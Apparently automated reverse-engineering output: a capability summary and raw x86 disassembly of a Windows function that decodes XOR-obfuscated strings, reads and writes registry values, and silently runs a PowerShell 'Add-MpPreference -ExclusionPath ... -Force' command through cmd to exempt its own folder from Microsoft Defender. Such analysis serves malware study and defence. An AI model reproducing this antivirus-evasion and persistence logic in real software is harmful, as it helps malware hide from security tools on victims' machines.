Function at 0x46d260
Capabilities:
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Encode data using xor
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ec05b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x230
mov eax, dword [0x542094]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x208], edi
mov dword [ebp - 0x120], edi
mov dword [ebp - 0x20c], edi
xorps xmm0, xmm0
movups xmmword [edi + 8], xmm0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0xf
mov byte [edi + 8], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
lea ecx, [edi + 0x2c]
mov byte [ebp - 4], 1
push 0
movups xmmword [ecx], xmm0
push 0x5369e5
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00448670
xorps xmm0, xmm0
movups xmmword [edi + 0x44], xmm0
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0xf
mov byte [edi + 0x44], 0
movups xmmword [edi + 0x68], xmm0
mov dword [edi + 0x78], 0
mov dword [edi + 0x7c], 0xf
mov byte [edi + 0x68], 0
push 0x104
lea esi, [edi + 0x80]
push 0
push esi
call fcn.004c1310
xorps xmm0, xmm0
add esp, 0xc
movups xmmword [edi + 0x188], xmm0
mov dword [edi + 0x198], 0
mov dword [edi + 0x19c], 0xf
mov byte [edi + 0x188], 0
movlpd qword [ebp - 0x1d8], xmm0
movups xmmword [ebp - 0x1e8], xmm0
mov dword [ebp - 0x1d8], 0
movlpd qword [ebp - 0x1d0], xmm0
mov dword [ebp - 0x1d4], 0xf
mov byte [ebp - 0x1e8], 0
mov byte [ebp - 4], 6
push 0x30
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0
call fcn.004bf83f
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x1d0], eax
push 0xa
push str.Server.ini
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 7
call fcn.00442d40
push str.Server.ini
lea ecx, [ebp - 0x1e8]
call fcn.0045dda0
mov byte [ebp - 4], 8
xor eax, eax
mov dword [edi], 0
mov byte [edi + 0x60], 0
mov byte [edi + 0x1a0], 0
mov word [edi + 4], 0
mov word [edi + 0x184], ax
mov dword [ebp - 0x194], 0x3f327e31
mov dword [ebp - 0x190], 0x363d302b
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x18c], 0x333f397e
mov word [ebp - 0x188], 0x703b
mov byte [ebp - 0x201], 0x5e
mov edi, dword [eax]
mov eax, dword [0x5d3420]
mov dword [ebp - 0x210], edi
cmp eax, dword [edi + 4]
jle 0x46d4f2
push 0x5d3420
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3420], 0xffffffff
jne 0x46d4f2
movaps xmm0, xmmword [0x53ba20]
mov eax, dword [ebp - 0x18c]
movups xmmword [0x5d3454], xmm0
mov dword [0x5d347c], eax
movaps xmm0, xmmword [0x53b930]
mov ax, word [ebp - 0x188]
movups xmmword [0x5d3464], xmm0
mov word [0x5d3480], ax
movq xmm0, qword [ebp - 0x194]
mov al, byte [ebp - 0x201]
push 0x4ee180
movq qword [0x5d3474], xmm0
mov byte [0x5d3482], al
call fcn.004bfaea
add esp, 4
push 0x5d3420
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d3482], 0
je 0x46d53e
movaps xmm2, xmmword [0x53bb90]
xor eax, eax
nop dword [eax]
nop dword [eax + eax]
movups xmm0, xmmword [eax + 0x5d3454]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x5d3454], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x46d510
cmp eax, 0x2f
jae 0x46d53e
xor byte [eax + 0x5d3454], 0x5e
inc eax
cmp eax, 0x2f
jb 0x46d531
mov edx, 0x5d3454
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x46d546
sub edx, ecx
mov ecx, dword [ebp - 0x208]
push edx
push 0x5d3454
add ecx, 0x188
call fcn.00442d40
mov eax, dword [0x5d34d8]
mov dword [ebp - 0x124], 0x70696c6f
mov dword [ebp - 0x120], 0x706e706e
mov word [ebp - 0x11c], 0x5e6f
cmp eax, dword [edi + 4]
jle 0x46d5dd
push 0x5d34d8
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d34d8], 0xffffffff
jne 0x46d5dd
movq xmm0, qword [ebp - 0x124]
mov ax, word [ebp - 0x11c]
push 0x4ee130
movq qword [0x5d33b0], xmm0
mov word [0x5d33b8], ax
call fcn.004bfaea
add esp, 4
push 0x5d34d8
call fcn.004bfb2a
add esp, 4
mov al, byte [0x5d33b9]
test al, al
je 0x46d62c
xor byte [0x5d33b0], 0x5e
xor byte [0x5d33b1], 0x5e
xor byte [0x5d33b2], 0x5e
xor byte [0x5d33b3], 0x5e
xor byte [0x5d33b4], 0x5e
xor byte [0x5d33b5], 0x5e
xor byte [0x5d33b6], 0x5e
xor byte [0x5d33b7], 0x5e
xor byte [0x5d33b8], 0x5e
xor al, 0x5e
mov byte [0x5d33b9], al
mov eax, dword [0x5d3354]
mov dword [ebp - 0x140], 0x5e6e0e17
cmp eax, dword [edi + 4]
jle 0x46d67e
push 0x5d3354
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3354], 0xffffffff
jne 0x46d67e
mov eax, dword [ebp - 0x140]
push 0x4ee150
mov dword [0x5d341c], eax
call fcn.004bfaea
add esp, 4
push 0x5d3354
call fcn.004bfb2a
add esp, 4
mov al, byte [0x5d341f]
test al, al
je 0x46d6a3
xor byte [0x5d341c], 0x5e
xor byte [0x5d341d], 0x5e
xor byte [0x5d341e], 0x5e
xor al, 0x5e
mov byte [0x5d341f], al
mov eax, dword [0x5d33c8]
mov dword [ebp - 0x124], 0x282c3b0d
mov word [ebp - 0x120], 0x2c3b
mov byte [ebp - 0x201], 0x5e
cmp eax, dword [edi + 4]
jle 0x46d71d
push 0x5d33c8
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d33c8], 0xffffffff
jne 0x46d71d
mov eax, dword [ebp - 0x124]
mov dword [0x5d3414], eax
mov ax, word [ebp - 0x120]
mov word [0x5d3418], ax
mov al, byte [ebp - 0x201]
push 0x4ee160
mov byte [0x5d341a], al
call fcn.004bfaea
add esp, 4
push 0x5d33c8
call fcn.004bfb2a
add esp, 4
mov al, byte [0x5d341a]
test al, al
je 0x46d757
xor byte [0x5d3414], 0x5e
xor byte [0x5d3415], 0x5e
xor byte [0x5d3416], 0x5e
xor byte [0x5d3417], 0x5e
xor byte [0x5d3418], 0x5e
xor byte [0x5d3419], 0x5e
xor al, 0x5e
mov byte [0x5d341a], al
mov eax, dword [ebp - 0x208]
push ecx
add eax, 0x44
lea ecx, [ebp - 0x1e8]
push eax
push 0x5d33b0
push 0x5d341c
push 0x5d3414
call fcn.0045eab0
mov eax, dword [0x5d31cc]
mov dword [ebp - 0x120], 0x3b323718
mov word [ebp - 0x11c], 0x5e2d
cmp eax, dword [edi + 4]
jle 0x46d7e4
push 0x5d31cc
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d31cc], 0xffffffff
jne 0x46d7e4
mov eax, dword [ebp - 0x120]
mov dword [0x5d33bc], eax
mov ax, word [ebp - 0x11c]
push 0x4ee110
mov word [0x5d33c0], ax
call fcn.004bfaea
add esp, 4
push 0x5d31cc
call fcn.004bfb2a
add esp, 4
mov al, byte [0x5d33c1]
test al, al
je 0x46d817
xor byte [0x5d33bc], 0x5e
xor byte [0x5d33bd], 0x5e
xor byte [0x5d33be], 0x5e
xor byte [0x5d33bf], 0x5e
xor byte [0x5d33c0], 0x5e
xor al, 0x5e
mov byte [0x5d33c1], al
mov eax, dword [0x5d332c]
mov dword [ebp - 0x124], 0x2d2c3b08
mov dword [ebp - 0x120], 0x5e303137
cmp eax, dword [edi + 4]
jle 0x46d87f
push 0x5d332c
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d332c], 0xffffffff
jne 0x46d87f
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x120]
push 0x4ee120
mov dword [0x5d3304], eax
mov dword [0x5d3308], ecx
call fcn.004bfaea
add esp, 4
push 0x5d332c
call fcn.004bfb2a
add esp, 4
mov al, byte [0x5d330b]
test al, al
je 0x46d8c0
xor byte [0x5d3304], 0x5e
xor byte [0x5d3305], 0x5e
xor byte [0x5d3306], 0x5e
xor byte [0x5d3307], 0x5e
xor byte [0x5d3308], 0x5e
xor byte [0x5d3309], 0x5e
xor byte [0x5d330a], 0x5e
xor al, 0x5e
mov byte [0x5d330b], al
push 1
push 0x5d33bc
push 0x5d3304
lea ecx, [ebp - 0x1e8]
call fcn.0045e850
mov ecx, dword [ebp - 0x208]
push esi
push 0x104
mov word [ecx + 0x186], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, esi
mov dword [ebp - 0x16c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
movups xmmword [ebp - 0x17c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46d913
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x17c]
call fcn.00448670
mov byte [ebp - 4], 9
movaps xmm0, xmmword [0x53bae0]
mov eax, dword [0x5d3484]
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0x1f0e022c
mov word [ebp - 0x128], 0x160a
mov byte [ebp - 0x126], 0x5e
cmp eax, dword [edi + 4]
jle 0x46d9a3
push 0x5d3484
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3484], 0xffffffff
jne 0x46d9a3
lea eax, [ebp - 0x13c]
mov ecx, 0x5d3394
push eax
call fcn.0046d060
push 0x4ee0e0
call fcn.004bfaea
add esp, 4
push 0x5d3484
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d33aa], 0
je 0x46d9dd
movups xmm0, xmmword [0x5d3394]
mov eax, 0x10
movaps xmm1, xmmword [0x53bb90]
xorps xmm1, xmm0
movups xmmword [0x5d3394], xmm1
nop dword [eax]
xor byte [eax + 0x5d3394], 0x5e
inc eax
cmp eax, 0x17
jb 0x46d9d0
lea eax, [ebp - 0x120]
push eax
push 0xf003f
push 0
push 0x5d3394
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
je 0x46dc27
movaps xmm0, xmmword [0x53bae0]
mov eax, dword [0x5d33c4]
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0x1f0e022c
mov word [ebp - 0x128], 0x160a
mov byte [ebp - 0x126], 0x5e
cmp eax, dword [edi + 4]
jle 0x46da7a
push 0x5d33c4
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d33c4], 0xffffffff
jne 0x46da7a
lea eax, [ebp - 0x13c]
mov ecx, 0x5d31d8
push eax
call fcn.0046d060
push 0x4ee0b0
call fcn.004bfaea
add esp, 4
push 0x5d33c4
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d31ee], 0
je 0x46daad
movups xmm0, xmmword [0x5d31d8]
mov eax, 0x10
movaps xmm1, xmmword [0x53bb90]
xorps xmm1, xmm0
movups xmmword [0x5d31d8], xmm1
xor byte [eax + 0x5d31d8], 0x5e
inc eax
cmp eax, 0x17
jb 0x46daa0
push 0xff
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.004c1310
add esp, 0xc
mov dword [ebp - 0x140], 0xff
lea eax, [ebp - 0x140]
mov dword [ebp - 0x120], 1
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x120]
push eax
push 0
push 0x5d31d8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xorps xmm0, xmm0
mov dword [ebp - 0x1f0], 0
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x1ec], 0
movups xmmword [ebp - 0x200], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46db25
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x200]
call fcn.00448670
cmp dword [ebp - 0x1ec], 0x10
lea ecx, [ebp - 0x200]
mov esi, dword [ebp - 0x16c]
lea edx, [ebp - 0x17c]
cmovae ecx, dword [ebp - 0x200]
cmp dword [ebp - 0x168], 0x10
cmovae edx, dword [ebp - 0x17c]
cmp esi, dword [ebp - 0x1f0]
jne 0x46dbd7
sub esi, 4
jb 0x46db91
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x46db96
add edx, 4
add ecx, 4
sub esi, 4
jae 0x46db80
cmp esi, 0xfffffffc
je 0x46dbca
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x46dbc3
cmp esi, 0xfffffffd
je 0x46dbca
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x46dbc3
cmp esi, 0xfffffffe
je 0x46dbca
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x46dbc3
cmp esi, 0xffffffff
je 0x46dbca
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x46dbca
sbb eax, eax
or eax, 1
jmp 0x46dbcc
xor eax, eax
mov byte [ebp - 0x201], 1
test eax, eax
je 0x46dbde
mov byte [ebp - 0x201], 0
mov eax, dword [ebp - 0x1ec]
cmp eax, 0x10
jb 0x46dc1a
mov edx, dword [ebp - 0x200]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x46dc10
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7db
push ecx
push edx
call fcn.004bf874
add esp, 8
cmp byte [ebp - 0x201], 0
jne 0x46e705
push 0x19
xorps xmm0, xmm0
mov dword [ebp - 0x154], 0
push str.powershell.exe__command__
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x150], 0
movups xmmword [ebp - 0x164], xmm0
call fcn.00448670
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov eax, dword [0x5d3378]
movq qword [ebp - 0x14c], xmm0
mov dword [ebp - 0x144], 0
mov byte [ebp - 0x201], 0x5e
cmp eax, dword [edi + 4]
jle 0x46dccd
push 0x5d3378
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3378], 0xffffffff
jne 0x46dccd
movaps xmm0, xmmword [0x53bab0]
mov al, byte [ebp - 0x201]
push 0x4ee090
movups xmmword [0x5d32c0], xmm0
mov byte [0x5d32d0], al
call fcn.004bfaea
add esp, 4
push 0x5d3378
call fcn.004bfb2a
add esp, 4
mov al, byte [0x5d32d0]
test al, al
je 0x46dcf5
movups xmm0, xmmword [0x5d32c0]
xor al, 0x5e
movaps xmm1, xmmword [0x53bb90]
xorps xmm1, xmm0
mov byte [0x5d32d0], al
movups xmmword [0x5d32c0], xmm1
mov ecx, 0x5d32c0
mov dword [ebp - 0x230], 0
xorps xmm0, xmm0
mov dword [ebp - 0x22c], 0
movups xmmword [ebp - 0x240], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46dd20
sub ecx, edx
push ecx
push 0x5d32c0
lea ecx, [ebp - 0x240]
call fcn.00448670
mov byte [ebp - 4], 0xb
mov eax, dword [0x5d33dc]
mov dword [ebp - 0x134], 0x302b3f12
mov dword [ebp - 0x130], 0x2c3b363d
mov dword [ebp - 0x12c], 0x3b263b70
mov byte [ebp - 0x201], 0x5e
cmp eax, dword [edi + 4]
jle 0x46ddc6
push 0x5d33dc
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d33dc], 0xffffffff
jne 0x46ddc6
mov eax, dword [ebp - 0x12c]
movq xmm0, qword [ebp - 0x134]
mov dword [0x5d3224], eax
mov al, byte [ebp - 0x201]
push 0x4ee070
movq qword [0x5d321c], xmm0
mov byte [0x5d3228], al
call fcn.004bfaea
add esp, 4
push 0x5d33dc
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d3228], 0
je 0x46ddde
xor eax, eax
xor byte [eax + 0x5d321c], 0x5e
inc eax
cmp eax, 0xd
jb 0x46ddd1
mov ecx, 0x5d321c
mov dword [ebp - 0x218], 0
xorps xmm0, xmm0
mov dword [ebp - 0x214], 0
movups xmmword [ebp - 0x228], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46de04
sub ecx, edx
push ecx
push 0x5d321c
lea ecx, [ebp - 0x228]
call fcn.00448670
lea edi, [ebp - 0x240]
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x14c], 0
sub ecx, edi
mov dword [ebp - 0x148], 0
mov eax, 0x2aaaaaab
mov dword [ebp - 0x144], 0
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x46df51
cmp eax, 0xaaaaaaa
ja 0x46e7e0
lea esi, [eax + eax*2]
shl esi, 3
mov dword [ebp - 0x120], esi
cmp esi, 0x1000
jb 0x46deab
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x46e7e5
push eax
call fcn.004bf83f
add esp, 4
test eax, eax
je 0x46e7db
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x46debe
test esi, esi
je 0x46debc
push esi
call fcn.004bf83f
add esp, 4
mov esi, eax
jmp 0x46debe
xor esi, esi
mov eax, dword [ebp - 0x120]
add eax, esi
mov dword [ebp - 0x14c], esi
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x148], esi
mov dword [ebp - 0x120], eax
xorps xmm0, xmm0
mov dword [ebp - 0x12c], 0
movq qword [ebp - 0x134], xmm0
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x130], esi
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0xe
cmp edi, eax
je 0x46df3e
nop dword [eax]
push edi
mov ecx, esi
call fcn.00446870
add esi, 0x18
lea eax, [ebp - 0x210]
add edi, 0x18
mov dword [ebp - 0x130], esi
cmp edi, eax
jne 0x46df20
push ecx
mov edx, esi
mov ecx, esi
call fcn.00448890
add esp, 4
mov dword [ebp - 0x148], esi
push fcn.00442c20
push 2
push 0x18
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 0x10
push eax
call fcn.004bfdb3
cmp dword [ebp - 0x168], 0x10
lea ecx, [ebp - 0x17c]
mov eax, dword [ebp - 0x16c]
cmovae ecx, dword [ebp - 0x17c]
sub esp, 8
mov dword [ebp - 0x130], eax
mov eax, esp
mov dword [ebp - 0x134], ecx
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0xc0000000
mov dword [ebp - 0x12c], 0x5369e5
mov dword [ebp - 0x138], 0xb0000008
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x19c]
push 0x2f
push str.Add_MpPreference__ExclusionPath___Force_
mov dword [eax], 2
call fcn.00454640
add esp, 0x10
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x19c]
cmp dword [ebp - 0x188], 0x10
mov esi, dword [ebp - 0x150]
mov eax, esi
cmovae ecx, dword [ebp - 0x19c]
mov edi, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x154]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x46e036
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x164]
cmovae eax, dword [ebp - 0x164]
lea esi, [eax + edx]
push esi
call fcn.004c16e0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x46e048
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x164]
push edi
call fcn.00448510
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x188]
cmp ecx, 0x10
jb 0x46e086
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46e07c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7ea
push ecx
push edx
call fcn.004bf874
add esp, 8
mov esi, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x140], esi
mov dword [ebp - 0x120], eax
cmp esi, eax
je 0x46e180
push esi
push 0x2f
push str.Add_MpPreference__ExclusionPath___Force_
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x19c]
call fcn.004531e0
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 0x12
cmp dword [ecx + 0x14], 0x10
mov edi, dword [ecx + 0x10]
jb 0x46e0d3
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x150]
mov edx, dword [ebp - 0x154]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x46e11b
cmp dword [ebp - 0x150], 0x10
lea esi, [ebp - 0x164]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x164]
add esi, edx
mov dword [ebp - 0x154], eax
push esi
call fcn.004c16e0
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x140]
jmp 0x46e12d
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x164]
push edi
call fcn.00448510
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x188]
cmp ecx, 0x10
jb 0x46e16b
mov edx, dword [ebp - 0x19c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46e161
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7db
push ecx
push edx
call fcn.004bf874
add esp, 8
add esi, 0x18
mov dword [ebp - 0x140], esi
cmp esi, dword [ebp - 0x120]
jne 0x46e0a6
mov ecx, dword [ebp - 0x210]
mov eax, dword [0x5d33ac]
mov word [ebp - 0x188], 0x5e30
cmp eax, dword [ecx + 4]
jle 0x46e1f5
push 0x5d33ac
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d33ac], 0xffffffff
jne 0x46e1f5
movaps xmm0, xmmword [0x53b8d0]
mov ax, word [ebp - 0x188]
movups xmmword [0x5d31f8], xmm0
push 0x4ee050
movaps xmm0, xmmword [0x53bb00]
movups xmmword [0x5d3208], xmm0
mov word [0x5d3218], ax
call fcn.004bfaea
add esp, 4
push 0x5d33ac
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d3219], 0
je 0x46e23e
movaps xmm2, xmmword [0x53bb90]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x5d31f8]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x5d31f8], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x46e210
cmp eax, 0x22
jae 0x46e23e
xor byte [eax + 0x5d31f8], 0x5e
inc eax
cmp eax, 0x22
jb 0x46e231
mov edi, 0x5d31f8
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x46e246
mov edx, dword [ebp - 0x150]
sub edi, ecx
mov ecx, dword [ebp - 0x154]
mov eax, edx
sub eax, ecx
push edi
push 0x5d31f8
cmp edi, eax
ja 0x46e293
cmp edx, 0x10
lea esi, [ebp - 0x164]
lea eax, [edi + ecx]
cmovae esi, dword [ebp - 0x164]
add esi, ecx
mov dword [ebp - 0x154], eax
push esi
call fcn.004c16e0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x46e2a5
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x164]
push edi
call fcn.00448510
cmp dword [ebp - 0x150], 0x10
lea eax, [ebp - 0x164]
mov dword [ebp - 0x140], 0
cmovae eax, dword [ebp - 0x164]
mov esi, eax
mov dword [ebp - 0x120], eax
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x46e2d0
sub esi, ecx
xorps xmm0, xmm0
xor ecx, ecx
movlpd qword [ebp - 0x1c4], xmm0
mov eax, esi
movlpd qword [ebp - 0x1bc], xmm0
add eax, 4
movlpd qword [ebp - 0x1b4], xmm0
movups xmmword [ebp - 0x138], xmm0
setb cl
neg ecx
movlpd qword [ebp - 0x1ac], xmm0
or ecx, eax
movlpd qword [ebp - 0x1a4], xmm0
push ecx
movlpd qword [ebp - 0x19c], xmm0
movlpd qword [ebp - 0x194], xmm0
movlpd qword [ebp - 0x18c], xmm0
call fcn.004ca5f4
mov edi, eax
add esp, 4
test edi, edi
je 0x46e3ed
lea eax, [esi + 1]
mov word [edi], 0x632f
push eax
push dword [ebp - 0x120]
lea eax, [edi + 3]
mov byte [edi + 2], 0x20
push eax
call fcn.004c16e0
add esp, 0xc
mov dword [ebp - 0x1c8], 0x44
push str.COMSPEC
call fcn.004cb918
add esp, 4
mov esi, eax
call fcn.004c8236
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x1c8]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x46e3e4
push 0x1388
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x138]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x134]
call esi
push edi
call fcn.004c9b33
add esp, 4
mov esi, dword [ebp - 0x210]
movaps xmm0, xmmword [0x53bae0]
mov eax, dword [0x5d3280]
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0x1f0e022c
mov word [ebp - 0x128], 0x160a
mov byte [ebp - 0x126], 0x5e
cmp eax, dword [esi + 4]
jle 0x46e469
push 0x5d3280
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3280], 0xffffffff
jne 0x46e469
lea eax, [ebp - 0x13c]
mov ecx, 0x5d3338
push eax
call fcn.0046d060
push 0x4ee020
call fcn.004bfaea
add esp, 4
push 0x5d3280
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d334e], 0
je 0x46e49d
movups xmm0, xmmword [0x5d3338]
mov eax, 0x10
movaps xmm1, xmmword [0x53bb90]
xorps xmm1, xmm0
movups xmmword [0x5d3338], xmm1
nop
xor byte [eax + 0x5d3338], 0x5e
inc eax
cmp eax, 0x17
jb 0x46e490
lea eax, [ebp - 0x120]
push eax
push 0xf003f
push 0
push 0x5d3338
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x46e593
movaps xmm0, xmmword [0x53bae0]
mov eax, dword [0x5d3374]
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0x1f0e022c
mov word [ebp - 0x128], 0x160a
mov byte [ebp - 0x126], 0x5e
cmp eax, dword [esi + 4]
jle 0x46e53a
push 0x5d3374
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3374], 0xffffffff
jne 0x46e53a
lea eax, [ebp - 0x13c]
mov ecx, 0x5d3358
push eax
call fcn.0046d060
push 0x4edff0
call fcn.004bfaea
add esp, 4
push 0x5d3374
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d336e], 0
je 0x46e56d
movups xmm0, xmmword [0x5d3358]
mov eax, 0x10
movaps xmm1, xmmword [0x53bb90]
xorps xmm1, xmm0
movups xmmword [0x5d3358], xmm1
xor byte [eax + 0x5d3358], 0x5e
inc eax
cmp eax, 0x17
jb 0x46e560
push 0
lea eax, [ebp - 0x120]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x5d3358
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
movaps xmm0, xmmword [0x53bae0]
mov eax, dword [0x5d3264]
movups xmmword [ebp - 0x13c], xmm0
mov dword [ebp - 0x12c], 0x1f0e022c
mov word [ebp - 0x128], 0x160a
mov byte [ebp - 0x126], 0x5e
cmp eax, dword [esi + 4]
jle 0x46e609
push 0x5d3264
call fcn.004bfb7b
add esp, 4
cmp dword [0x5d3264], 0xffffffff
jne 0x46e609
lea eax, [ebp - 0x13c]
mov ecx, 0x5d3314
push eax
call fcn.0046d060
push 0x4edfc0
call fcn.004bfaea
add esp, 4
push 0x5d3264
call fcn.004bfb2a
add esp, 4
cmp byte [0x5d332a], 0
je 0x46e63d
movups xmm0, xmmword [0x5d3314]
mov eax, 0x10
movaps xmm1, xmmword [0x53bb90]
xorps xmm1, xmm0
movups xmmword [0x5d3314], xmm1
nop
xor byte [eax + 0x5d3314], 0x5e
inc eax
cmp eax, 0x17
jb 0x46e630
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00446870
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x18c], 0x10
lea ecx, [eax*2 + 2]
push ecx
lea eax, [ebp - 0x1a0]
cmovae eax, dword [ebp - 0x1a0]
push eax
push 1
push 0
push 0x5d3314
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x18c]
cmp ecx, 0x10
jb 0x46e6c0
mov edx, dword [ebp - 0x1a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46e6b6
mov edx, dword [eax - 4]
add ecx, 0x23
